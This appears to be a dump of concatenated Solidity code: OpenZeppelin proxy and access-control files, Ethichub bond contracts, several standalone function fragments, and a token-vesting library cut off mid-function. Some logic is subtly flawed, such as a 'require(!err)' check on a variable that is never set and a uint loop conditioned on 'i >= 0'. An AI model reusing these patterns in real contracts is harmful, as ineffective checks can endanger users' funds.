(proxy/ERC1967/ERC1967Upgrade.sol) pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../interfaces/draft-IERC1822Upgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal onlyInitializing { } function __ERC1967Upgrade_init_unchained() internal onlyInitializing { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS( address newImplementation, bytes memory data, bool forceCall ) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; bytes32 constant DEFAULT_ADMIN_ROLE = bytes32(0); bytes32 constant INTEREST_PARAMETERS_SETTER = keccak256("INTEREST_PARAMETERS_SETTER"); bytes32 constant COLLATERAL_BOND_SETTER = keccak256("COLLATERAL_BOND_SETTER"); bytes32 constant LIQUIDITY_REQUESTER = keccak256("LIQUIDITY_REQUESTER"); bytes32 constant PAUSER = keccak256("PAUSER"); bytes32 constant UPGRADER = keccak256("UPGRADER"); bytes32 constant MINTER = keccak256("MINTER"); // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "../utils/InterestCalculator.sol"; import "./InterestParameters.sol"; /** * @title BondGranter * @dev This contract contains functions related to the emission or withdrawal of the bonds * @author Ethichub */ abstract contract BondGranter is Initializable, InterestParameters, InterestCalculator { struct Bond { uint256 mintingDate; uint256 maturity; uint256 principal; uint256 interest; bool redeemed; } mapping(uint256 => Bond) public bonds; event BondIssued(uint256 tokenId, uint256 mintingDate, uint256 maturity, uint256 principal, uint256 interest); event BondRedeemed(uint256 tokenId, uint256 redeemDate, uint256 maturity, uint256 withdrawn, uint256 interest); /** * @dev Assigns a bond with its parameters * @param tokenId uint256 * @param maturity uint256 seconds * @param principal uint256 in wei * * Requirements: * * - Principal amount can not be 0 * - Maturity must be greater than the first element of the set of interests */ function _issueBond(uint256 tokenId, uint256 maturity, uint256 principal) internal virtual { require(principal > 0, "BondGranter::Principal is 0"); require(maturity >= maturities[0], "BondGranter::Maturity must be greater than the first interest"); uint256 interest = super.getInterestForMaturity(maturity); bonds[tokenId] = Bond(block.timestamp, maturity, principal, interest, false); emit BondIssued(tokenId, block.timestamp, maturity, principal, interest); } /** * @dev Checks eligilibility to redeem the bond and returns its value * @param tokenId uint256 */ function _redeemBond(uint256 tokenId) internal virtual returns (uint256) { Bond memory bond = bonds[tokenId]; require((bond.maturity + bond.mintingDate) < block.timestamp, "BondGranter::Can't redeem yet"); require(!bond.redeemed, "BondGranter::Already redeemed"); bonds[tokenId].redeemed = true; emit BondRedeemed(tokenId, block.timestamp, bond.maturity, _bondValue(tokenId), bond.interest); return _bondValue(tokenId); } /** * @dev Returns the actual value of the bond with its interest * @param tokenId uint256 */ function _bondValue(uint256 tokenId) internal view virtual returns (uint256) { Bond memory bond = bonds[tokenId]; return bond.principal + bond.principal * super.simpleInterest(bond.interest, bond.maturity) / 100 / 1000000000000000000; } uint256[49] private __gap; } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "../interfaces/IInterestCalculator.sol"; abstract contract InterestCalculator is IInterestCalculator { function simpleInterest(uint256 interest, uint256 maturity) public view virtual override returns (uint256) { return _simpleInterest(interest, maturity); } function _simpleInterest(uint256 interest, uint256 maturity) internal view virtual returns (uint256) { return maturity * interest; } } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "../interfaces/IInterestParameters.sol"; import "../access/AccessManagedUpgradeable.sol"; import "../Roles.sol"; /** * @title InterestParameters * @dev Contains functions related to interests and maturities for the bonds * @author Ethichub */ abstract contract InterestParameters is Initializable, IInterestParameters, AccessManagedUpgradeable { uint256[] public interests; uint256[] public maturities; uint256 public maxParametersLength; function __InterestParameters_init( uint256[] calldata _interests, uint256[] calldata _maturities ) internal initializer { maxParametersLength = 3; _setInterestParameters(_interests, _maturities); } function setInterestParameters( uint256[] calldata _interests, uint256[] calldata _maturities ) external override onlyRole(INTEREST_PARAMETERS_SETTER) { _setInterestParameters(_interests, _maturities); } function setMaxInterestParams(uint256 value) external override onlyRole(INTEREST_PARAMETERS_SETTER) { _setMaxInterestParams(value); } function getInterestForMaturity(uint256 maturity) public view override returns (uint256) { return _getInterestForMaturity(maturity); } /** * @dev Sets the parameters of interests and maturities * @param _interests set of interests per second in wei * @param _maturities set of maturities in second * * Requirements: * * - The length of the array of interests can not be 0 * - The length of the array of interests can not be greater than maxParametersLength * - The length of the array of interests and maturities must be the same * - The value of maturities must be in ascending order * - The values of interest and maturities can not be 0 */ function _setInterestParameters( uint256[] calldata _interests, uint256[] calldata _maturities ) internal { require(_interests.length > 0, "InterestParameters::Interest must be greater than 0"); require(_interests.length <= maxParametersLength, "InterestParameters::Interest parameters is greater than max parameters"); require(_interests.length == _maturities.length, "InterestParameters::Unequal input length"); for (uint256 i = 0; i < _interests.length; ++i) { if (i != 0) { require(_maturities[i-1] < _maturities[i], "InterestParameters::Unordered maturities"); } require(_interests[i] > 0, "InterestParameters::Can't set zero interest"); require(_maturities[i] > 0, "InterestParameters::Can't set zero maturity"); } interests = _interests; maturities = _maturities; emit InterestParametersSet(interests, maturities); } /** * @dev Sets the maximum length of interests and maturities parameters * @param value uint256 * * Requirement: * * - The length value can not be 0 */ function _setMaxInterestParams(uint256 value) internal { require(value > 0, "InterestParameters::Interest length is 0"); maxParametersLength = value; emit MaxInterestParametersSet(value); } /** * @dev Checks the interest correspondant to the maturity. * Needs at least 1 maturity / interest pair. * Returns interest per second * @param maturity duration of the bond in seconds */ function _getInterestForMaturity(uint256 maturity) internal view returns (uint256) { require(maturity >= maturities[0], "InterestParameters::Maturity must be greater than first interest"); for (uint256 i = interests.length - 1; i >= 0; --i) { if (maturity >= maturities[i]) { return interests[i]; } } return interests[0]; } uint256[49] private __gap; } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; interface IInterestCalculator { /** * @dev Calculates interest per second that is int 1e18 * @param maturity duration of the bond in seconds * @param interest per second * @return simple interest per second that is int 1e18 */ function simpleInterest(uint256 interest, uint256 maturity) external view returns (uint256); } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; interface IInterestParameters { event InterestParametersSet(uint256[] interests, uint256[] maturities); event MaxInterestParametersSet(uint256 value); /** * Set interests and maturities params, all in seconds */ function setInterestParameters(uint256[] calldata interests, uint256[] calldata maturities) external; function setMaxInterestParams(uint256 value) external; function getInterestForMaturity(uint256 maturity) external returns (uint256); } // SPDX-License-Identifier: GPLv3 pragma solidity 0.8.13; interface ILiquidityRequester { /** * Increments every time money is taking out for lending projects, decrements every time is returned */ function requestLiquidity(address destination, uint256 amount) external returns (uint256); function returnLiquidity(address origin, uint256 amount) external payable returns (uint256); }
Returns the amunt that corresponds to the bond/
function _redeemBond(uint256 tokenId) internal virtual override returns (uint256) { uint256 amount = super._redeemBond(tokenId); address beneficiary = ownerOf(tokenId); _afterBondRedeemed(tokenId, amount, beneficiary); return amount; }
18,792
./full_match/80001/0xDa21C3277F08773b124165632bf5FFd1651fd710/sources/contracts/proxy/ERC1155DaoProxy.sol
returns the activation status of the tokens. requirements: ‼ length of arguments must not mismatch. Signature for isTokenActivatedBatch(uint256[],uint256[]) : `0xb032203a` tokenIds ids of the token. serialNos serial Numbers of the token. return activation status of the tokens./
function isTokenActivatedBatch( uint256[] memory tokenIds, uint256[] memory serialNos ) external view denyIfLengthMismatch(tokenIds.length, serialNos.length) returns (bool[] memory) { bool[] memory batchIsTokenActivated = new bool[](tokenIds.length); for (uint256 i = 0; i < tokenIds.length; ++i) { batchIsTokenActivated[i] = isTokenActivated( tokenIds[i], serialNos[i] ); } return batchIsTokenActivated; }
9,494,936
./full_match/43113/0xc862bcd5E2Fa2ad0F8F151EC82bA738f784341f4/sources/new_efx.sol
Metadata Configuration
function setBaseURI(string memory baseURI_) external onlyOwner { require( keccak256(abi.encodePacked((baseURI))) != keccak256(abi.encodePacked((baseURI_))), "ERC721Metadata: existed baseURI" ); baseURI = baseURI_; }
7,108,706
pragma solidity ^0.4.18; /** * @title VestingLib * @author Modular.network * * version 1.0.1 * Copyright (c) 2017 Modular, LLC * The MIT License (MIT) * https://github.com/Modular-Network/ethereum-libraries/blob/master/LICENSE * * Library for vesting tokens to a group of addresses. The library only handles * one token at a time, with a linear vesting schedule for a set period of time * * Modular works on open source projects in the Ethereum community with the * purpose of testing, documenting, and deploying reusable code onto the * blockchain to improve security and usability of smart contracts. Modular * also strives to educate non-profits, schools, and other community members * about the application of blockchain technology. * For further information: modular.network * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ import "./BasicMathLib.sol"; import "./TokenLib.sol"; import "./CrowdsaleToken.sol"; library VestingLib { using BasicMathLib for uint256; struct VestingStorage { address owner; uint256 totalSupply; // total supply of ETH or tokens uint256 contractBalance; // current balance of the contract bool isToken; // false for ETH, true for token uint256 startTime; // timestamp when vesting starts uint256 endTime; // timestamp when vesting is complete uint256 numRegistered; // number of addresses registered for the vesting uint256 timeInterval; // interval between vesting uint256 percentPerInterval; // percentage of the total released every interval // for each address, 0-index is the amount being held, 1-index is the bonus. // if the bonus amount is > 0, any withdrawal before endTime will result // in the total amount being withdrawn without the bonus mapping (address => uint256[2]) holdingAmount; // shows how much an address has already withdrawn from the vesting contract mapping (address => uint256) hasWithdrawn; } // Generic Error message, error code and string event LogErrorMsg(uint256 amount, string Msg); // Logs when a user is registered in the system for vesting event LogUserRegistered(address registrant, uint256 vestAmount, uint256 bonus); // Logs when a user is unregistered from the system event LogUserUnRegistered(address registrant); // Logs when a user replaces themselves with a different beneficiary event LogRegistrationReplaced(address currentRegistrant, address newRegistrant, uint256 amountWithdrawn); // Logs when a user withdraws their ETH from vesting event LogETHWithdrawn(address beneficiary, uint256 amount); // Logs when a user withdraws their tokens from the contract event LogTokensWithdrawn(address beneficiary, uint256 amount); /// @dev Called by the token vesting contract upon creation. /// @param self Stored token from token contract /// @param _owner the owner of the vesting contract /// @param _isToken indicates if the vesting is for tokens or ETH /// @param _startTime the start time of the vesting (UNIX timestamp) /// @param _endTime the end time of the vesting (UNIX timestamp) /// @param _numReleases number of times during vesting that the contract releases coins function init(VestingStorage storage self, address _owner, bool _isToken, uint256 _startTime, uint256 _endTime, uint256 _numReleases) public { require(self.owner == 0); require(self.totalSupply == 0); require(_owner != 0); require(_startTime > now); require(_endTime > _startTime); require(_numReleases > 0); require(_numReleases <= 100); self.owner = _owner; self.isToken = _isToken; self.startTime = _startTime; self.endTime = _endTime; self.timeInterval = (_endTime - _startTime)/_numReleases; require(self.timeInterval > 0); self.percentPerInterval = 100/_numReleases; } /// @dev function owner has to call before the vesting starts to initialize the ETH balance of the contract. /// @param self Stored vesting from vesting contract /// @param _balance the balance that is being vested. msg.value from the contract call. function initializeETHBalance(VestingStorage storage self, uint256 _balance) public returns (bool) { require(msg.sender == self.owner); require(now < self.startTime); require(_balance != 0); require(!self.isToken); require(self.totalSupply == 0); self.totalSupply = _balance; self.contractBalance = _balance; return true; } /// @dev function owner has to call before the vesting starts to initialize the token balance of the contract. /// @param self Stored vesting from vesting contract /// @param _balance the balance that is being vested. owner has to have sent tokens to the contract before calling this function function initializeTokenBalance(VestingStorage storage self, CrowdsaleToken token, uint256 _balance) public returns (bool) { require(msg.sender == self.owner); require(now < self.startTime); require(_balance != 0); require(self.isToken); require(token.balanceOf(this) == _balance); require(self.totalSupply == 0); self.totalSupply = _balance; self.contractBalance = _balance; return true; } /// @dev register user function, can only be called by the owner. registers amount /// of vesting into the address and reduces contractBalance /// @param self Stored vesting from vesting contract /// @param _registrant address to be registered for the vesting /// @param _vestAmount amount of ETH or tokens to vest for address /// @param _bonus amount of bonus tokens or eth if no withdrawal prior to endTime function registerUser(VestingStorage storage self, address _registrant, uint256 _vestAmount, uint256 _bonus) public returns (bool) { require((msg.sender == self.owner) || (msg.sender == address(this))); if (now >= self.startTime) { LogErrorMsg(self.startTime,"Can only register users before the vesting starts!"); return false; } if(self.holdingAmount[_registrant][0] > 0) { LogErrorMsg(0,"Registrant address is already registered for the vesting!"); return false; } if(_bonus > _vestAmount){ LogErrorMsg(_bonus,"Bonus is larger than vest amount, please reduce bonus!"); return false; } uint256 _totalAmount; uint256 result; bool err; (err, _totalAmount) = _vestAmount.plus(_bonus); require(!err); (err, result) = self.contractBalance.minus(_totalAmount); require(!err); self.contractBalance = result; self.holdingAmount[_registrant][0] = _vestAmount; self.holdingAmount[_registrant][1] = _bonus; (err,result) = self.numRegistered.plus(1); require(!err); self.numRegistered = result; LogUserRegistered(_registrant, _vestAmount, _bonus); return true; } /// @dev registers multiple users at the same time. each registrant must be /// receiving the same amount of tokens or ETH /// @param self Stored vesting from vesting contract /// @param _registrants addresses to register for the vesting /// @param _vestAmount amount of ETH or tokens to vest /// @param _bonus amount of ETH or token bonus function registerUsers(VestingStorage storage self, address[] _registrants, uint256 _vestAmount, uint256 _bonus) public returns (bool) { require(msg.sender == self.owner); bool ok; for (uint256 i = 0; i < _registrants.length; i++) { ok = registerUser(self,_registrants[i], _vestAmount, _bonus); } return ok; } /// @dev Cancels a user's registration status can only be called by the owner /// when a user cancels their registration. sets their address field in the /// holding amount mapping to 0, decrements the numRegistered, and adds amount /// back into contractBalance /// @param self Stored vesting from vesting contract function unregisterUser(VestingStorage storage self, address _registrant) public returns (bool) { require((msg.sender == self.owner) || (msg.sender == address(this))); if (now >= self.startTime) { LogErrorMsg(self.startTime, "Can only register and unregister users before the vesting starts!"); return false; } uint256 _totalHolding; uint256 result; bool err; _totalHolding = self.holdingAmount[_registrant][0] + self.holdingAmount[_registrant][1]; if(_totalHolding == 0) { LogErrorMsg(0, "Registrant address not registered for the vesting!"); return false; } self.holdingAmount[_registrant][0] = 0; self.holdingAmount[_registrant][1] = 0; self.contractBalance += _totalHolding; (err,result) = self.numRegistered.minus(1); require(!err); self.numRegistered = result; LogUserUnRegistered(_registrant); return true; } /// @dev unregisters multiple users at the same time /// @param self Stored vesting from vesting contract /// @param _registrants addresses to unregister for the vesting function unregisterUsers(VestingStorage storage self, address[] _registrants) public returns (bool) { require(msg.sender == self.owner); bool ok; for (uint256 i = 0; i < _registrants.length; i++) { ok = unregisterUser(self,_registrants[i]); } return ok; } /// @dev allows a participant to replace themselves in the vesting schedule with a new address /// @param self Stored vesting from vesting contract /// @param _replacementRegistrant new address to replace the caller with function swapRegistration(VestingStorage storage self, address _replacementRegistrant) public returns (bool) { require(_replacementRegistrant != 0); require(self.holdingAmount[_replacementRegistrant][0] == 0); uint256 _vestAmount = self.holdingAmount[msg.sender][0]; uint256 _bonus = self.holdingAmount[msg.sender][1]; uint256 _withdrawnAmount = self.hasWithdrawn[msg.sender]; require(_vestAmount > 0); self.holdingAmount[msg.sender][0] = 0; self.holdingAmount[msg.sender][1] = 0; self.hasWithdrawn[msg.sender] = 0; self.holdingAmount[_replacementRegistrant][0] = _vestAmount; self.holdingAmount[_replacementRegistrant][1] = _bonus; self.hasWithdrawn[_replacementRegistrant] = _withdrawnAmount; LogRegistrationReplaced(msg.sender, _replacementRegistrant, self.hasWithdrawn[_replacementRegistrant]); return true; } /// @dev calculates the number of tokens or ETH available for the beneficiary to withdraw /// @param self Stored vesting from vesting contract /// @param _beneficiary the sender, who will be withdrawing their balance function calculateWithdrawal(VestingStorage storage self, address _beneficiary) internal view returns (uint256) { require(_beneficiary != 0); require(self.holdingAmount[_beneficiary][0] > 0); require(self.numRegistered > 0); bool err; // figure out how many intervals have passed since the start uint256 _numIntervals = (now-self.startTime)/self.timeInterval; // multiply that by the percentage released every interval // calculate the amount released by this time uint256 _amountReleased = ((_numIntervals*self.percentPerInterval)*self.holdingAmount[_beneficiary][0])/100; // subtract the amount that has already been withdrawn (err, _amountReleased) = _amountReleased.minus(self.hasWithdrawn[_beneficiary]); return _amountReleased; } /// @dev allows participants to withdraw their vested ETH /// @param self Stored vesting from vesting contract function withdrawETH(VestingStorage storage self) public returns (bool) { require(now > self.startTime); require(!self.isToken); bool ok; bool err; uint256 _withdrawAmount; if((now < self.endTime) && (self.holdingAmount[msg.sender][1] > 0)){ // if there is a bonus and it's before the endTime, cancel the bonus _withdrawAmount = calculateWithdrawal(self, msg.sender); uint256 _bonusAmount = self.holdingAmount[msg.sender][1]; //self.holdingAmount[msg.sender][0] = 0; self.holdingAmount[msg.sender][1] = 0; // add bonus eth back into the contract balance self.contractBalance += _bonusAmount; } else { if(now > self.endTime){ // if it's past the endTime then send everything left _withdrawAmount = self.holdingAmount[msg.sender][0] + self.holdingAmount[msg.sender][1]; (ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[msg.sender]); require(!err); self.holdingAmount[msg.sender][0] = 0; self.holdingAmount[msg.sender][1] = 0; } else { // if we're here then it's before the endTime and no bonus, need to calculate _withdrawAmount = calculateWithdrawal(self, msg.sender); } } self.hasWithdrawn[msg.sender] += _withdrawAmount; // transfer ETH to the sender msg.sender.transfer(_withdrawAmount); LogETHWithdrawn(msg.sender,_withdrawAmount); return true; } /// @dev allows participants to withdraw their vested tokens /// @param self Stored vesting from vesting contract /// @param token the token contract that is being withdrawn function withdrawTokens(VestingStorage storage self,CrowdsaleToken token) public returns (bool) { require(now > self.startTime); require(self.isToken); bool ok; bool err; uint256 _withdrawAmount; if((now < self.endTime) && (self.holdingAmount[msg.sender][1] > 0)){ // if there is a bonus and it's before the endTime, cancel the bonus and send tokens _withdrawAmount = calculateWithdrawal(self, msg.sender); uint256 _bonusAmount = self.holdingAmount[msg.sender][1]; self.holdingAmount[msg.sender][1] = 0; ok = token.burnToken(_bonusAmount); require(ok); } else { if(now > self.endTime){ // if it's past the endTime then send everything left _withdrawAmount = self.holdingAmount[msg.sender][0] + self.holdingAmount[msg.sender][1]; (ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[msg.sender]); require(!err); self.holdingAmount[msg.sender][0] = 0; self.holdingAmount[msg.sender][1] = 0; } else { // if we're here then it's before the endTime and no bonus, need to calculate _withdrawAmount = calculateWithdrawal(self, msg.sender); } } self.hasWithdrawn[msg.sender] += _withdrawAmount; // transfer tokens to the sender ok = token.transfer(msg.sender, _withdrawAmount); require(ok); LogTokensWithdrawn(msg.sender,_withdrawAmount); return true; } /// @dev allows the owner to send vested ETH to participants /// @param self Stored vesting from vesting contract /// @param _beneficiary registered address to send the ETH to function sendETH(VestingStorage storage self, address _beneficiary) public returns (bool) { require(now > self.startTime); require(msg.sender == self.owner); require(!self.isToken); bool ok; bool err; uint256 _withdrawAmount; if((now < self.endTime) && (self.holdingAmount[_beneficiary][1] > 0)){ // if there is a bonus and it's before the endTime, cancel the bonus _withdrawAmount = calculateWithdrawal(self, _beneficiary); uint256 _bonusAmount = self.holdingAmount[_beneficiary][1]; self.holdingAmount[_beneficiary][1] = 0; // add bonus eth back into the contract balance self.contractBalance += _bonusAmount; } else { if(now > self.endTime){ // if it's past the endTime then send everything left _withdrawAmount = self.holdingAmount[_beneficiary][0] + self.holdingAmount[_beneficiary][1]; (ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[_beneficiary]); require(!err); self.holdingAmount[_beneficiary][0] = 0; self.holdingAmount[_beneficiary][1] = 0; } else { // if we're here then it's before the endTime and no bonus, need to calculate _withdrawAmount = calculateWithdrawal(self, _beneficiary); } } self.hasWithdrawn[_beneficiary] += _withdrawAmount; // transfer ETH to the _beneficiary _beneficiary.transfer(_withdrawAmount); LogETHWithdrawn(_beneficiary,_withdrawAmount); return true; } /// @dev allows the owner to send vested tokens to participants /// @param self Stored vesting from vesting contract /// @param token the token contract that is being withdrawn /// @param _beneficiary registered address to send the tokens to function sendTokens(VestingStorage storage self,CrowdsaleToken token, address _beneficiary) public returns (bool) { require(now > self.startTime); require(msg.sender == self.owner); require(self.isToken); bool ok; bool err; uint256 _withdrawAmount; if((now < self.endTime) && 